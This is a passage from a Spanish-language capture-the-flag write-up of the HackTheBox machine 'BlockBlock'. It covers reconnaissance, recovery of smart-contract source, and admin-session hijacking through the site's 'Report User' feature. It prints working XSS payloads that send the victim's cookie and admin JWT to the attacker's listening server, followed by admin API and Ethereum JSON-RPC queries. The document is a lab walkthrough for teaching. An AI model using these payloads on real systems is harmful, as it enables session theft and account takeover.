BlockBlock – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“BlockBlock” es una máquina de dificultad Difícil de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servidor web con un chatbot. Hay una opción la cual es vulnerable a XSS
, lo cual nos permite robar una cookie/token e impersonar a un usuario admin
. Este usuario admin tiene acceso a un directorio especial. De este directorio somos capaces de extraer datos acerca de la blockchain corriendo en la máquina víctima. Somos capaces de leer los logs de esta blockchain y extraer así credenciales de SSH
para un usuario. Una vez dentro, somos capaces de correr forge
(una herramienta para blockchain) como otro usuario, lo que nos permite pivotear a este segundo usuario. Este segundo usuario puede correr pacman
(un gestor de paquetes) en la máquina víctima como cualquier usuario; permitiéndonos crear un paquete malicioso e impersonar así al usuario root
.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
, éste sólo muestra 3 puertos abiertos: 22
SSH
, 80
HTTP
y 8545
otro servicio HTTP
:
❯ sudo nmap -sVC -p22,80,8545 10.10.11.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 22:57 -03
Nmap scan report for 10.10.11.43
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Wed, 18 Dec 2024 01:57:55 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 275864
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
<SNIP>
8545/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 BAD REQUEST
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Wed, 18 Dec 2024 01:57:55 GMT
| content-type: text/plain; charset=utf-8
| Content-Length: 43
| vary: origin, access-control-request-method, access-control-request-headers
| access-control-allow-origin: *
| date: Wed, 18 Dec 2024 01:57:55 GMT
| Connection: close
| Connection header did not include 'upgrade'
| HTTPOptions:
<SNIP>
Buscando un poco, el puerto 8454
está relacionado a blockchain con Ethereum
; pero nada más allá de ello (de momento).
Revisando las tecnologías usadas en el peurto 80
HTTP
usando WhatWeb
obtenemos:
❯ whatweb -a 3 http://10.10.11.43
http://10.10.11.43 [200 OK] Access-Control-Allow-Methods[GET,POST,PUT,DELETE,OPTIONS], Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], Script, Title[Home - DBLC][Title element contains newline(s)!], UncommonHeaders[access-control-allow-origin,access-control-allow-headers,access-control-allow-methods], Werkzeug[3.0.3]
❯ whatweb -a 3 http://10.10.11.43:8545
http://10.10.11.43:8545 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], UncommonHeaders[access-control-allow-origin], Werkzeug[3.0.3]
El sitio web parece estar corriendo sobre Flask
.
Visitando http://10.10.11.43
muestra una página acerca de blockchain:
Nos creamos una cuenta en esta página.
Al hacerlo, podemos ver la opción de un chatbot:
Si enviamos diferentes mensajes al bot éste no responde. Si vamos a nuestro perfil (clickeando en Profile
) podemos ver:
Podemos ver que nuestro rol de usuario es user
, donde además podemos ver los mensajes que hemos enviado previamente al chatbot.
Si interceptamos la petición enviada a nuestro perfil con Burpsuite
, podemos ver la petición HTTP
:
GET /profile HTTP/1.1
Host: 10.10.11.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.43/chat
DNT: 1
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4
Upgrade-Insecure-Requests: 1
Tenemos un Jason Web Token
(JWT
). Revisando su contenido en una página como https://token.dev/ obtenemos:
Pero nada parece ser útil de momento.
Si abrimos la página web a través del navegador web de Burpsuite
, logueamos con nuestra cuenta recién creada y empezamos a hurgar en el sitio, eventualmente podemos ver que tenemos muchas peticiones a la ruta /api/info
. Chequeando qué es lo que obtenemos si solicitamos información a esta API, usando como autenticación nuestro JWT
, obtenemos:
❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq
{
"role": "user",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4",
"username": "gunzf0x"
}
Pero nada más allá de ello.
Si revisamos el sitio HTTP
corriendo en el puerto 8545
éste pregunta por headers (cabeceras) para funcionar correctamente:
❯ curl -s http://10.10.11.43:8545
Connection header did not include 'upgrade'
Usando los headers sugeridos, obtenemos:
❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade'
`Upgrade` header did not include 'websocket'%
❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade' -H 'Upgrade: websocket'
<!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
Pero parece que sigue sin funcionar.
Volviendo al chat con el bot, en la parte inferior de la página web tenemos el texto Note: You can review our smart contracts anytime here
y redirige a:
http://10.10.11.43/api/contract_source
Tratando de ver este endpoint con curl
junto con jq
muestra:
❯ curl -s http://10.10.11.43/api/contract_source | jq
{
"msg": "Missing cookie \"token\""
}
Pregunta por una sesión. Dado que hemos visto que la sesión (autenticación) está basada en JWT
, pasamos el token del usuario que hemos creado:
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq
{
"Chat.sol": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\n// import \"./Database.sol\";\n\ninterface IDatabase {\n function accountExist(\n string calldata username\n ) external view returns (bool);\n\n function setChatAddress(address _chat) external;\n}\n\ncontract Chat {\n struct Message {\n string content;\n string sender;\n uint256 timestamp;\n }\n\n address public immutable owner;\n IDatabase public immutable database;\n\n mapping(string user => Message[] msg) internal userMessages;\n uint256 internal totalMessagesCount;\n\n event MessageSent(\n uint indexed id,\n uint indexed timestamp,\n string sender,\n string content\n );\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert(\"Only owner can call this function\");\n }\n _;\n }\n\n modifier onlyExistingUser(string calldata username) {\n if (!database.accountExist(username)) {\n revert(\"User does not exist\");\n }\n _;\n }\n\n constructor(address _database) {\n owner = msg.sender;\n database = IDatabase(_database);\n database.setChatAddress(address(this));\n }\n\n receive() external payable {}\n\n function withdraw() public onlyOwner {\n payable(owner).transfer(address(this).balance);\n }\n\n function deleteUserMessages(string calldata user) public {\n if (msg.sender != address(database)) {\n revert(\"Only database can call this function\");\n }\n delete userMessages[user];\n }\n\n function sendMessage(\n string calldata sender,\n string calldata content\n ) public onlyOwner onlyExistingUser(sender) {\n userMessages[sender].push(Message(content, sender, block.timestamp));\n totalMessagesCount++;\n emit MessageSent(totalMessagesCount, block.timestamp, sender, content);\n }\n\n function getUserMessage(\n string calldata user,\n uint256 index\n )\n public\n view\n onlyOwner\n onlyExistingUser(user)\n returns (string memory, string memory, uint256)\n {\n return (\n userMessages[user][index].content,\n userMessages[user][index].sender,\n userMessages[user][index].timestamp\n );\n }\n\n function getUserMessagesRange(\n string calldata user,\n uint256 start,\n uint256 end\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n require(start < end, \"Invalid range\");\n require(end <= userMessages[user].length, \"End index out of bounds\");\n\n Message[] memory result = new Message[](end - start);\n for (uint256 i = start; i < end; i++) {\n result[i - start] = userMessages[user][i];\n }\n return result;\n }\n\n function getRecentUserMessages(\n string calldata user,\n uint256 count\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n if (count > userMessages[user].length) {\n count = userMessages[user].length;\n }\n\n Message[] memory result = new Message[](count);\n for (uint256 i = 0; i < count; i++) {\n result[i] = userMessages[user][\n userMessages[user].length - count + i\n ];\n }\n return result;\n }\n\n function getUserMessages(\n string calldata user\n ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n return userMessages[user];\n }\n\n function getUserMessagesCount(\n string calldata user\n ) public view onlyOwner onlyExistingUser(user) returns (uint256) {\n return userMessages[user].length;\n }\n\n function getTotalMessagesCount() public view onlyOwner returns (uint256) {\n return totalMessagesCount;\n }\n}\n",
"Database.sol": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.23;\n\ninterface IChat {\n function deleteUserMessages(string calldata user) external;\n}\n\ncontract Database {\n struct User {\n string password;\n string role;\n bool exists;\n }\n\n address immutable owner;\n IChat chat;\n\n mapping(string username => User) users;\n\n event AccountRegistered(string username);\n event AccountDeleted(string username);\n event PasswordUpdated(string username);\n event RoleUpdated(string username);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert(\"Only owner can call this function\");\n }\n _;\n }\n modifier onlyExistingUser(string memory username) {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n _;\n }\n\n constructor(string memory secondaryAdminUsername,string memory password) {\n users[\"admin\"] = User(password, \"admin\", true);\n owner = msg.sender;\n registerAccount(secondaryAdminUsername, password);\n }\n\n function accountExist(string calldata username) public view returns (bool) {\n return users[username].exists;\n }\n\n function getAccount(\n string calldata username\n )\n public\n view\n onlyOwner\n onlyExistingUser(username)\n returns (string memory, string memory, string memory)\n {\n return (username, users[username].password, users[username].role);\n }\n\n function setChatAddress(address _chat) public {\n if (address(chat) != address(0)) {\n revert(\"Chat address already set\");\n }\n\n chat = IChat(_chat);\n }\n\n function registerAccount(\n string memory username,\n string memory password\n ) public onlyOwner {\n if (\n keccak256(bytes(users[username].password)) != keccak256(bytes(\"\"))\n ) {\n revert(\"Username already exists\");\n }\n users[username] = User(password, \"user\", true);\n emit AccountRegistered(username);\n }\n\n function deleteAccount(string calldata username) public onlyOwner {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n delete users[username];\n\n chat.deleteUserMessages(username);\n emit AccountDeleted(username);\n }\n\n function updatePassword(\n string calldata username,\n string calldata oldPassword,\n string calldata newPassword\n ) public onlyOwner onlyExistingUser(username) {\n if (\n keccak256(bytes(users[username].password)) !=\n keccak256(bytes(oldPassword))\n ) {\n revert(\"Invalid password\");\n }\n\n users[username].password = newPassword;\n emit PasswordUpdated(username);\n }\n\n function updateRole(\n string calldata username,\n string calldata role\n ) public onlyOwner onlyExistingUser(username) {\n if (!users[username].exists) {\n revert(\"User does not exist\");\n }\n\n users[username].role = role;\n emit RoleUpdated(username);\n }\n}\n"
}
Podemos ver algunas funciones para las propiedades Chat.sol
y Database.sol
.
Podemos usar jq
y extraer su contenido. El contenido de Database.sol
se ve interesante:
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]'
y obtener así (luego de limpiar el código):
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
interface IChat {
function deleteUserMessages(string calldata user) external;
}
contract Database {
struct User {
string password;
string role;
bool exists;
}
address immutable owner;
IChat chat;
mapping(string username => User) users;
event AccountRegistered(string username);
event AccountDeleted(string username);
event PasswordUpdated(string username);
event RoleUpdated(string username);
modifier onlyOwner() {
if (msg.sender != owner) {
revert("Only owner can call this function");
}
_;
}
modifier onlyExistingUser(string memory username) {
if (!users[username].exists) {
revert("User does not exist");
}
_;
}
constructor(string memory secondaryAdminUsername,string memory password) {
users["admin"] = User(password, "admin", true);
owner = msg.sender;
registerAccount(secondaryAdminUsername, password);
}
function accountExist(string calldata username) public view returns (bool) {
return users[username].exists;
}
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
function setChatAddress(address _chat) public {
if (address(chat) != address(0)) {
revert("Chat address already set");
}
chat = IChat(_chat);
}
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (
keccak256(bytes(users[username].password)) != keccak256(bytes(""))
) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
function deleteAccount(string calldata username) public onlyOwner {
if (!users[username].exists) {
revert("User does not exist");
}
delete users[username];
chat.deleteUserMessages(username);
emit AccountDeleted(username);
}
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (
keccak256(bytes(users[username].password)) !=
keccak256(bytes(oldPassword))
) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
function updateRole(
string calldata username,
string calldata role
) public onlyOwner onlyExistingUser(username) {
if (!users[username].exists) {
revert("User does not exist");
}
users[username].role = role;
emit RoleUpdated(username);
}
}
Este es un código escrito en Solidity
, un lenguaje de programación para smart contracts en blockchains de Ethereum
. Una función que llama mi atención es updateRole
, la cual puede promover el rol de un usuario a admin
. Tenemos que guardar ambos códigos (para Chat.sol
y Database.sol
), dado que nos serán útiles después.
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]' > Database.sol
❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Chat.sol"]' > Chat.sol
Todo apunta a que necesitaremos interactuar con el servicio de blockchain/Ethereum
del puerto 8545
.
De vuelta al sitio web principal (en el cual estamos logueados), hay un botón Report User
en el chat con el bot. Si clickeamos en este y enviamos un texto random obtenemos:
De manera que puede haber un administrador o alguna tarea revisando el mensaje enviado. ¿Qué tal si intentamos enviar un payload de Cross Site Scripting
(XSS
) para extraer su cookie?
Primero, revisamos si un simple ataque XSS
funciona. Empezamos un simple servidor HTTP
con Python
en el puerto 8000
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y probamos enviando distintos payload de XSS
a la opción de Report User
.
Eventualmente, uno de los payloads de XSS
funciona:
<img src=x onerror=this.src="http://10.10.16.3:8000/xss.js?"+document.cookie>
Obteniendo algunas respuestas en nuestro servidor temporal:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [18/Dec/2024 00:30:23] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:23] "GET /xss.js? HTTP/1.1" 404 -
10.10.11.43 - - [18/Dec/2024 00:30:24] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:24] "GET /xss.js? HTTP/1.1" 404 -
El payload funcionó.
Asi es que podemos intentar un payload de XSS
que haga lo siguiente: La víctima del payload XSS
visite el endpoint /api/info
y, luego, envíe la información de aquella petición (como las cookies) a nuestra máquina de atacantes. Un payload que funciona es:
<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromAPI => {return fetch(`http://10.10.16.3:8888/?data=${dataFromAPI}`)})">
Donde hemos cambiado el puerto del ataque a 8888
(dado que la máquina víctima sigue mandando mensajes del primer payload de XSS
que enviamos, lo cual es molesto).
Empezamos un nuevo servidor Python
HTTP
temporal, pero esta vez en el puerto 8888
, y enviamos el payload mencionado anteriormente. Obteniendo así:
❯ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.43 - - [18/Dec/2024 00:26:42] "GET /?data={%22role%22:%22admin%22,%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg%22,%22username%22:%22admin%22} HTTP/1.1" 200 -
Decodeando el mensaje obtenido nos da:
"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username":"admin"
Como hicimos antes, revisamos el contenido de este token en https://token.dev/:
Tenemos un token para admin
.
JWT
de admin
expira luego de algunas horas, de manera que puede que necesitemos volver a correr la cadena de ataque con XSS
mostrada anteriormente si éste expira.Usando este token, ahora podemos revisar el endpoint /api/info
:
❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg' | jq
{
"role": "admin",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username": "admin"
}
Vamos a un navegador de internet como Firefox
, logueamos en nuestra cuenta creada, luego vamos a Profile
y reemplazamos el JWT
de nuestro usuario por el JWT
obtenido mediante XSS
. Somos ahora el usuario admin
:
En la parte superior derecha, podemos ver una nueva pestaña llamada Admin
. Clickeando en este redirige a http://10.10.11.43/admin
. Tenemos un nuevo dashboard. Yendo a la pestaña Users
muestra 2 usuarios: uno es nuestro usuario recién creado y el otro es un usuario llamado keira
:
Pero esto no muestra más información más allá de ello.
Revisando el código fuente de /admin
podemos ver algo:
(async () => {
const jwtSecret = await (await fetch('/api/json-rpc')).json();
const web3 = new Web3(window.origin + "/api/json-rpc");
const postsCountElement = document.getElementById('chat-posts-count');
let chatAddress = await (await fetch("/api/chat_address")).text();
let postsCount = 0;
chatAddress = (chatAddress.replace(/[\n"]/g, ""));
// })();
// (async () => {
// let jwtSecret = await (await fetch('/api/json-rpc')).json();
let balance = await fetch(window.origin + "/api/json-rpc", {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": jwtSecret['Authorization'],
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: [chatAddress, "latest"],
id: 1
})
});
let bal = (await balance.json()).result // || '0';
console.log(bal)
document.getElementById('donations').innerText = "$" + web3.utils.fromWei(bal,
'ether')
})();
async function DeleteUser() {
let username = document.getElementById('user-select').value;
console.log(username)
console.log('deleting user')
let res = await fetch('/api/delete_user', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: username
})
})
}
La página está llamando a un nuevo endpoint /api/json-rpc
, obteniendo un parámetro Authorization
.
Buscando que es json-rpc
obtenemos:
JSON-RPC
is a simple remote procedure call protocol encoded in JSON
(Extensible Markup Language), over the HTTP
1.1 protocol. The Ethereum
JSON-RPC
API is implemented as a set of Web3
object methods that allow clients to interact with the Ethereum
blockchain.Ethereum
(que estaba corriendo en el puerto 8545
).Este video da una muy buena explicación sobre éste igual. También encontramos esta página diseñada para lidiar con la API y sus diferentes métodos. Del código fuente de la página que habíamos visto antes, el método es eth_getBalance
.
Revisando qué es lo que obtenemos si usamos el token JWT
de admin
obtenemos:
❯ curl -s 'http://10.10.11.43/api/json-rpc' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'
{"Authorization":"cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"}
Obtenemos un valor de Authorization
.
Revisando la ruta /chat_address
(la otra ruta que estaba siendo usada en el panel custom de Admin
en el servidor web) nos da:
❯ curl -s 'http://10.10.11.43/api/chat_address' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'
"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"
Esta parece ser una dirección que apunta al chat (guardado en la blockchain).
Traté de ejecutar comandos para la API a través de cURL
, pero no funcionó (más tarde, me di cuenta que esto fue porque necesitamos pasarle el valor de Authentication
y JWT
de admin
a la API). En su lugar, podemos ir a nuestro navegador de internet (Firefox
en mi caso), loguear como Admin
usando el JWT
extraído, ir a Console
(Ctrl+Shift+I
) y pasar el código hallado, pero sustituyendo por los valores hallados (como la dirección del chat hallada previamente y el valor de Authorization
):
fetch('http://10.10.11.43/api/json-rpc', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBalance",
params: ["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"],
id: 1
})
})
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error('Error:', error);
});
Obtenemos como respuesta 0x0
(0
en hexadecimal).
Basados en la página que habíamos mostrado para interactuar con Ethereum, tenemos bastantes métodos para interactuar con la blockchain. Pero éstos no son todos los métodos disponibles. Podemos hallar una lsita de todos los métodos disponibles en la página oficial de Ethereum.org y su documentación o en esta página. No obstante, primero debemos preguntarnos: ¿qué es un bloque (block
) en Ethereum
?
Ethereum
, a block is a collection of transactions and other data that are added to the Ethereum
blockchain.Para revisar los bloques (blocks) tenemos que cambiar el método especificado. La estructura es usualmente similar a la porción de código que hemos mostrado previamente. Las únicas 2 cosas que cambian son los “métodos” especificados, y los “parámetros” para el respectivo método. Entre todos los métodos disponibles, está el método eth_blockNumber
el cual retorna el número (dirección) del bloque más reciente tal cual se explica aquí. Éste método no requiere parámetros, de manera que enviamos la petición:
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_blockNumber",
params: [],
id: 1
})
Como lo hicimos antes, copiamos el código anterior, lo pasamos a la consola de desarrollador de Firefox
(en la cual ya estábamos previamente logueados como Admin
) y obtenemos:
Obtenemos el número de bloque hexadecimal 0xf
(15
en decimal).
Luego de leer e inspeccionar funciones/métodos, encontramos eth_getBlockByNumber
. Basados en su documentación, y como su nombre lo dice, éste retorna información de un bloque basados en su número. Dado que el número del bloque era 0xf
, cambiamos el “método” y pasamos los parámetros:
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBlockByNumber",
params: ["0xf", true],
id: 1
})
Ejecutando este comando en una consola muestra mucho output. De la documentación, vemos que hay un valor de Input
el cual debería de mostrar toda la data enviada a lo largo de la transacción. En nuestro caso encontramos:
Obteniendo como valor de Input
:
0x467fba0f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000767756e7a6630780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000
Ahora requereimos de algo llamado archivos .abi
para ser capaces de ver el contenido (por lo que, de cierta manera, podemos “desencriptar” el mensaje obtenido anteriormente). Buscando, hay una herramienta la cual pasa archivos .sol
(y por esto es que necesitabamos previamente guardar los archivos Chat.sol
y Database.sol
que encontramos antes) llamada solc
. Podemos instalarla usando npm
:
❯ sudo npm install -g solc
added 9 packages in 4s
Una vez instalada, la usamos para pasar archivos .sol
a archivos .abi
:
❯ /usr/local/bin/solcjs --abi Database.sol --bin --optimize -o Database.abi
❯ ls -la Database.abi
total 28
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 18 02:22 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec 18 02:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 2319 Dec 18 02:22 Database_sol_Database.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 12052 Dec 18 02:22 Database_sol_Database.bin
-rw-rw-r-- 1 gunzf0x gunzf0x 160 Dec 18 02:22 Database_sol_IChat.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 0 Dec 18 02:22 Database_sol_IChat.bin
❯ /usr/local/bin/solcjs --abi Chat.sol --bin --optimize -o Chat.abi
Por ejemplo, el archivo Chat_sol_Chat.abi
generado es:
❯ cat Chat_sol_Chat.abi
